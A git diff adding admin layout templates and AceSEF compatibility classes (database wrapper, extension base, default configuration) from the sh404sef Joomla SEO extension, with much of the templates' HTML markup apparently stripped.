    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/snippet_ga.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/snippet_ga.php new file mode 100644 index 00000000..adde915d --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/snippet_ga.php @@ -0,0 +1,50 @@ + + + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/snippet_gtm.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/snippet_gtm.php new file mode 100644 index 00000000..c663c95d --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/snippet_gtm.php @@ -0,0 +1,30 @@ + + + + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/snippet_uga.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/snippet_uga.php new file mode 100644 index 00000000..2256f911 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/snippet_uga.php @@ -0,0 +1,36 @@ + + + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/configuration/fields/default.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/configuration/fields/default.php new file mode 100644 index 00000000..1f78e558 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/configuration/fields/default.php @@ -0,0 +1,32 @@ + + +
    + hidden): ?> +
    + label; ?> +
    + +
    + input; + $element = $displayData->element; + if (!empty($element['additionaltext'])): ?> + + +
    +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/configuration/fields/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/configuration/fields/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/configuration/fields/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/configuration/fields/legend.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/configuration/fields/legend.php new file mode 100644 index 00000000..2357fb38 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/configuration/fields/legend.php @@ -0,0 +1,26 @@ + +
    +
    +
    + label; ?> +
    +
    +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/configuration/fields/rules.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/configuration/fields/rules.php new file mode 100644 index 00000000..bf59b80d --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/configuration/fields/rules.php @@ -0,0 +1,32 @@ + + +
    +
    +
    +input; +?> +element; +if (!empty($element['additionaltext'])) +{ + echo '' . (string) $element['additionaltext'] . ''; +} +?> +
    +
    +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/configuration/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/configuration/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/configuration/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/bar_search_limit.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/bar_search_limit.php new file mode 100644 index 00000000..700b981c --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/bar_search_limit.php @@ -0,0 +1,26 @@ + + +
    + options); + echo ShlMvcLayout_Helper::render('com_sh404sef.filters.limit_box', $displayData->pagination); + ?> +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/bar_search_limit_pag.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/bar_search_limit_pag.php new file mode 100644 index 00000000..0dd04314 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/bar_search_limit_pag.php @@ -0,0 +1,27 @@ + + +
    + options); + echo ShlMvcLayout_Helper::render('com_sh404sef.filters.limit_box', $displayData->pagination); + echo '
    '; + ?> +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/bar_search_limit_pag_sticky.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/bar_search_limit_pag_sticky.php new file mode 100644 index 00000000..af2be684 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/bar_search_limit_pag_sticky.php @@ -0,0 +1,28 @@ + + +
     
    +
    + options); + echo ShlMvcLayout_Helper::render('com_sh404sef.filters.limit_box', $displayData->pagination); + echo '
    '; + ?> +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/bar_search_limit_sticky.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/bar_search_limit_sticky.php new file mode 100644 index 00000000..c2f6f2a4 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/bar_search_limit_sticky.php @@ -0,0 +1,27 @@ + + +
     
    +
    + options); + echo ShlMvcLayout_Helper::render('com_sh404sef.filters.limit_box', $displayData->pagination); + ?> +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/limit_box.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/limit_box.php new file mode 100644 index 00000000..71b4341d --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/limit_box.php @@ -0,0 +1,22 @@ + +
    + + getLimitBox(); ?> +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/search_all.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/search_all.php new file mode 100644 index 00000000..73e76534 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/search_all.php @@ -0,0 +1,29 @@ +customFormName) ? 'adminForm' : $displayData->customFormName; +?> + + +
    + + +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/search_shurl.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/search_shurl.php new file mode 100644 index 00000000..875ff7df --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/filters/search_shurl.php @@ -0,0 +1,30 @@ +customFormName) ? 'adminForm' : $displayData->customFormName; +?> + +
    + + +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/form/fields/custom.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/form/fields/custom.php new file mode 100644 index 00000000..edbd9452 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/form/fields/custom.php @@ -0,0 +1,29 @@ +tip) ? '' : ' title="' . htmlspecialchars($displayData->label . '::' . $displayData->tip, ENT_COMPAT, 'UTF-8') . '"'; +?> + +
    + hidden)): ?> + class="control-labeltip) ? '' : ' hasTip'?>"> + +
    + +
    + input; ?> +
    + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/form/fields/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/form/fields/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/form/fields/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/form/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/form/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/form/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/general/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/general/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/general/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/general/message_block.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/general/message_block.php new file mode 100644 index 00000000..ca813c18 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/general/message_block.php @@ -0,0 +1,36 @@ +message)) +{ + if (is_array($displayData->message)) + { + foreach ($displayData->message as $message) + { + echo ShlHtmlBs_Helper::alert($message, $type = 'success', $dismiss = true); + } + } + else + { + echo ShlHtmlBs_Helper::alert($displayData->message, $type = 'success', $dismiss = true); + } +} +if (method_exists($displayData, 'getError')) +{ + $error = $displayData->getError(); + if (!empty($error)) + { + echo ShlHtmlBs_Helper::alert($error, $type = 'error', $dismiss = true); + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/general/need_full_j2.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/general/need_full_j2.php new file mode 100644 index 00000000..475a5a4a --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/general/need_full_j2.php @@ -0,0 +1,22 @@ +refreshAfter)) +{ + $timeout = 1500; +} +else if ($displayDaya->refreshAfter == 'now') +{ + $timeout = 0; +} +else +{ + $timeout = $displayData->refreshAfter; +} + +// where to send parent? +$refreshTo = empty($displayData->refreshTo) ? 'window.parent.location.href' : $displayData->refreshTo; + +// modal title +$modalTitle = empty($displayData->modalTitle) ? JText::_('COM_SH404SEF_PLEASE_WAIT', true) : JText::_($displayData->modalTitle, true); + +// close a modal window +if (empty($timeout)) +{ + JFactory::getDocument()->addScriptDeclaration('window.parent.location.href=' . $refreshTo); +} +else +{ + JFactory::getDocument() + ->addScriptDeclaration( + ' + shlBootstrap.setModalTitleFromModal("' . $modalTitle . '"); + setTimeout( function() { + window.parent.location.href=window.parent.location.href; + }, ' . $timeout . '); + '); +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/general/warning.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/general/warning.php new file mode 100644 index 00000000..a448d93f --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/general/warning.php @@ -0,0 +1,18 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/css.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/css.php new file mode 100644 index 00000000..e1870c77 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/css.php @@ -0,0 +1,62 @@ + + + + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/fb-like-html5.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/fb-like-html5.php new file mode 100644 index 00000000..6b293b29 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/fb-like-html5.php @@ -0,0 +1,36 @@ + + +
    > +
    + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/fb-like.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/fb-like.php new file mode 100644 index 00000000..cb5f5bf9 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/fb-like.php @@ -0,0 +1,36 @@ + + + > + + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/fb-send-html5.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/fb-send-html5.php new file mode 100644 index 00000000..da14cbef --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/fb-send-html5.php @@ -0,0 +1,32 @@ + + +
    +
    + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/fb-send.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/fb-send.php new file mode 100644 index 00000000..72f4e1bc --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/fb-send.php @@ -0,0 +1,32 @@ + + + + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/fb_sdk.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/fb_sdk.php new file mode 100644 index 00000000..7094d66d --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/fb_sdk.php @@ -0,0 +1,37 @@ + + + +
    + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/googleplusone.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/googleplusone.php new file mode 100644 index 00000000..3503f477 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/googleplusone.php @@ -0,0 +1,26 @@ + + + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/googlepluspage.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/googlepluspage.php new file mode 100644 index 00000000..7bf2e824 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/googlepluspage.php @@ -0,0 +1,31 @@ + + + + + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/googlepluspage_large.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/googlepluspage_large.php new file mode 100644 index 00000000..24cbf5e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/googlepluspage_large.php @@ -0,0 +1,37 @@ + +
    +
    + +
    +
    + +
    +
    + +
    +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/googlepluspage_medium.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/googlepluspage_medium.php new file mode 100644 index 00000000..e8d5c34c --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/googlepluspage_medium.php @@ -0,0 +1,38 @@ + +
    + + + + + + + + +
    +
    +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/googlepluspage_small.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/googlepluspage_small.php new file mode 100644 index 00000000..7c8aed32 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/googlepluspage_small.php @@ -0,0 +1,38 @@ + +
    + + + + + + + + +
    +
    +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/linkedin.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/linkedin.php new file mode 100644 index 00000000..49c02043 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/linkedin.php @@ -0,0 +1,32 @@ + + + + + + + + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/pinterest.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/pinterest.php new file mode 100644 index 00000000..6566b512 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/pinterest.php @@ -0,0 +1,31 @@ + + + + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/twitter.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/twitter.php new file mode 100644 index 00000000..8cca8f30 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/twitter.php @@ -0,0 +1,27 @@ + + + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/wrapper.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/wrapper.php new file mode 100644 index 00000000..9897f81c --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/social/wrapper.php @@ -0,0 +1,42 @@ +\n"; + $wrapperClose = "\n\n"; +?> + + +
    + $buttonData) : + $buttonHtml = ShlMvcLayout_Helper::render('com_sh404sef.social.' . $buttonType, $buttonData); + if (!empty($buttonHtml)) + { + echo sprintf($wrapperOpen, $buttonType) . $buttonHtml . $wrapperClose; + } + endforeach; + ?> +
    + + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/submenus/filters.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/submenus/filters.php new file mode 100644 index 00000000..0175a5bb --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/submenus/filters.php @@ -0,0 +1,34 @@ + 0) : +?> +
    + + + + +
    + +
    + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/submenus/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/submenus/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/submenus/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/submenus/menu.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/submenus/menu.php new file mode 100644 index 00000000..7b1cebd2 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/submenus/menu.php @@ -0,0 +1,33 @@ + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/submenus/menu_layout.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/submenus/menu_layout.php new file mode 100644 index 00000000..7ea4a646 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/submenus/menu_layout.php @@ -0,0 +1,28 @@ + +
    +
    + + + + + +
    + render($displayData); ?> +
    +
    +
    + render($displayData); ?> +
    +
    \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/submenus/submenu.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/submenus/submenu.php new file mode 100644 index 00000000..86b86ab8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/submenus/submenu.php @@ -0,0 +1,24 @@ + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/updates/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/updates/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/updates/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/updates/update_full_j2.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/updates/update_full_j2.php new file mode 100644 index 00000000..dd5b5dbe --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/updates/update_full_j2.php @@ -0,0 +1,19 @@ +[' . JText::_('COM_SH404SEF_PERFORM_UPDATE').']'; diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/updates/update_full_j3.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/updates/update_full_j3.php new file mode 100644 index 00000000..2ef71a3f --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/updates/update_full_j3.php @@ -0,0 +1,20 @@ +' . $button .''; diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/database.php b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/database.php new file mode 100644 index 00000000..4f643f37 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/database.php @@ -0,0 +1,186 @@ +Quote($text, $escaped); + + self::showError(); + + return $result; + } + + // + // Escape + // + public function getEscaped($text, $extra = false) { + self::getDBO(); + $result = self::$_dbo->escape($text, $extra); + + self::showError(); + + return $result; + } + + // + // Run + // + public function query($query) { + // Run query + self::getDBO(); + self::$_dbo->setQuery($query); + $result = self::$_dbo->query(); + + self::showError(); + + return $result; + } + + // + // Single value result + // + public function loadResult($query) { + // Run query + self::getDBO(); + self::$_dbo->setQuery($query); + $result = self::$_dbo->loadResult(); + + self::showError(); + + return $result; + } + + // + // Single row results + // + public function loadRow($query) { + // Run query + self::getDBO(); + self::$_dbo->setQuery($query); + $result = self::$_dbo->loadRow(); + + self::showError(); + + return $result; + } + + public function loadAssoc($query) { + // Run query + self::getDBO(); + self::$_dbo->setQuery($query); + $result = self::$_dbo->loadAssoc(); + + self::showError(); + + return $result; + } + + public function loadObject($query) { + // Run query + self::getDBO(); + self::$_dbo->setQuery($query); + $result = self::$_dbo->loadObject(); + + self::showError(); + + return $result; + } + + // + // Single column results + // + public function loadResultArray($query, $index = 0) { + // Run query + self::getDBO(); + self::$_dbo->setQuery($query); + $result = self::$_dbo->loadResultArray($index); + + self::showError(); + + return $result; + } + + // + // Multi-Row results + // + public function loadRowList($query, $offset = 0, $limit = 0) { + // Run query + self::getDBO(); + self::$_dbo->setQuery($query, $offset, $limit); + $result = self::$_dbo->loadRowList(); + + self::showError(); + + return $result; + } + + public function loadAssocList($query, $key = '', $offset = 0, $limit = 0) { + // Run query + self::getDBO(); + self::$_dbo->setQuery($query, $offset, $limit); + $result = self::$_dbo->loadAssocList($key); + + self::showError(); + + return $result; + } + + public function loadObjectList($query, $key = '', $offset = 0, $limit = 0) { + // Run query + self::getDBO(); + self::$_dbo->setQuery($query, $offset, $limit); + $result = self::$_dbo->loadObjectList($key); + + self::showError(); + + return $result; + } + + protected function showError() { + if (AcesefFactory::getConfig()->show_db_errors == 1) { + if (self::$_dbo->getErrorNum()) { + throw new Exception(__METHOD__.' failed. ('.self::$_dbo->getErrorMsg().')'); + } + } + } +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/extension.php b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/extension.php new file mode 100644 index 00000000..c62d8afe --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/extension.php @@ -0,0 +1,132 @@ +AcesefConfig = AcesefFactory::getConfig(); + + // Skip menu + self::skipMenu(false); + } + + function setParams($params) { + $this->params = $params; + } + + function skipMenu($status, $get = false) { + static $skip_menu = false; + + if ($get) { + return $skip_menu; + } + + $skip_menu = $status; + } + + function beforeBuild(&$uri) { + } + + function catParam($vars) { + } + + function build(&$vars, &$segments, &$do_sef, &$metadata, &$item_limitstart) { + } + + function afterBuild(&$uri) { + } + + // Define title or alias + function urlPart($param) { + if (($param == 'title') || ($param == 'global' && $this->AcesefConfig->title_alias == 'title')) { + return 'title'; + } + return 'alias'; + } + + function categoryParam($area, $action = 2, $id = 0, $is_cat = 0, $real_url = "") { + self::categoryParams($id, $is_cat, $real_url); + } + + function categoryParams($id = 0, $is_cat = 0, $real_url = "") { + $vars = array(); + $areas = array('sm_auto_cats', 'tags_cats', 'ilinks_cats', 'bookmarks_cats'); + + foreach ($areas as $a) { + if (!isset($vars[$a.'_status'])) { + $vars[$a.'_status'] = 0; + } + if (!isset($vars[$a.'_flag'])) { + $vars['_flag'] = 0; + } + if (!isset($vars['_is_cat'])) { + $vars['_is_cat'] = $is_cat; + } + if (!isset($vars['_real_url'])) { + $vars['_real_url'] = $real_url; + } + } + + foreach ($areas as $a) { + $categories = $this->params->get($a, '-11'); + if ($categories == 'all') { + $vars[$a.'_status'] = 1; + } + elseif (is_array($categories) && in_array($id, $categories)) { + $vars[$a.'_status'] = 1; + } + elseif ($categories == $id) { + $vars[$a.'_status'] = 1; + } + } + $vars['_flag'] = 1; + + AcesefUtility::set('category.param', $vars); + } + + function getMetaData($vars, $item_limitstart = false) { + + return array(); + } + + function getMenuParams($id) { + static $params = array(); + + if (!isset($params[$id])) { + $params[$id] = AcesefUtility::getMenu()->getParams($id); + } + + return $params[$id]; + } + + function fixVar($var) { + if (!is_null($var)) { + $pos = strpos($var, ':'); + if ($pos !== false) { + $var = substr($var, 0, $pos); + } + } + return $var; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/factory.php b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/factory.php new file mode 100644 index 00000000..4d12f7c2 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/acesef/factory.php @@ -0,0 +1,239 @@ +mode = '1'; + $config->generate_sef = '1'; + $config->version_checker = '1'; + $config->purge_ext_urls = '1'; + $config->jquery_mode = '1'; + $config->download_id = ''; + $config->cache_instant = '1'; + $config->cache_versions = '1'; + $config->cache_extensions = '0'; + $config->cache_urls = '0'; + $config->cache_urls_size = '10000'; + $config->cache_metadata = '0'; + $config->cache_sitemap = '0'; + $config->cache_urls_moved = '0'; + $config->cache_tags = '0'; + $config->cache_ilinks = '1'; + $config->seo_h1 = '0'; + $config->seo_nofollow = '0'; + $config->page404 = 'custom'; + $config->url_lowercase = '1'; + $config->global_smart_itemid = '1'; + $config->numeral_duplicated = '0'; + $config->record_duplicated = '1'; + $config->url_suffix = ''; + $config->replacement_character = '-'; + $config->parent_menus = '0'; + $config->menu_url_part = 'title'; + $config->title_alias = 'title'; + $config->append_itemid = '0'; + $config->remove_trailing_slash = '1'; + $config->tolerant_to_trailing_slash = '1'; + $config->url_strip_chars = '^$%@#()+*!?.~:;|[]{},&¦'; + $config->source_tracker = '1'; + $config->insert_active_itemid = '0'; + $config->remove_sid = '0'; + $config->set_query_string = '1'; + $config->base_href = '3'; + $config->append_non_sef = '1'; + $config->prevent_dup_error = '1'; + $config->show_db_errors = '1'; + $config->check_url_by_id = '1'; + $config->non_sef_vars = 'format=feed, type=rss, type=atom'; + $config->disable_sef_vars = 'tmpl, no_html=1'; + $config->skip_menu_vars = ''; + $config->db_404_errors = '1'; + $config->log_404_errors = '0'; + $config->log_404_path = '/home/accountname/public_html/logs/acesef_404.log'; + $config->joomfish_main_lang = '0'; + $config->joomfish_main_lang_del = '0'; + $config->joomfish_lang_code = '1'; + $config->joomfish_trans_url = '1'; + $config->joomfish_cookie = '1'; + $config->joomfish_browser = '1'; + $config->utf8_url = '0'; + $config->char_replacements = 'Á|A, Â|A, Å|A, A|A, Ä|A, À|A, Ã|A, C|C, Ç|C, C|C, D|D, É|E, È|E, Ë|E, E|E, Ê|E, Ì|I, Í|I, Î|I, Ï|I, L|L, N|N, N|N, Ñ|N, Ò|O, Ó|O, Ô|O, Õ|O, Ö|O, O|O, R|R, R|R, Š|S, S|O, T|T, U|U, Ú|U, U|U, Ü|U, İ|Y, Ž|Z, Z|Z, á|a, â|a, å|a, ä|a, à|a, ã|a, c|c, ç|c, c|c, d|d, d|d, é|e, e|e, ë|e, e|e, è|e, ê|e, ì|i, í|i, î|i, ï|i, l|l, n|n, n|n, ñ|n, ò|o, ó|o, ô|o, o|o, ö|o, õ|o, š|s, s|s, r|r, r|r, t|t, u|u, ú|u, u|u, ü|u, ı|y, ž|z, 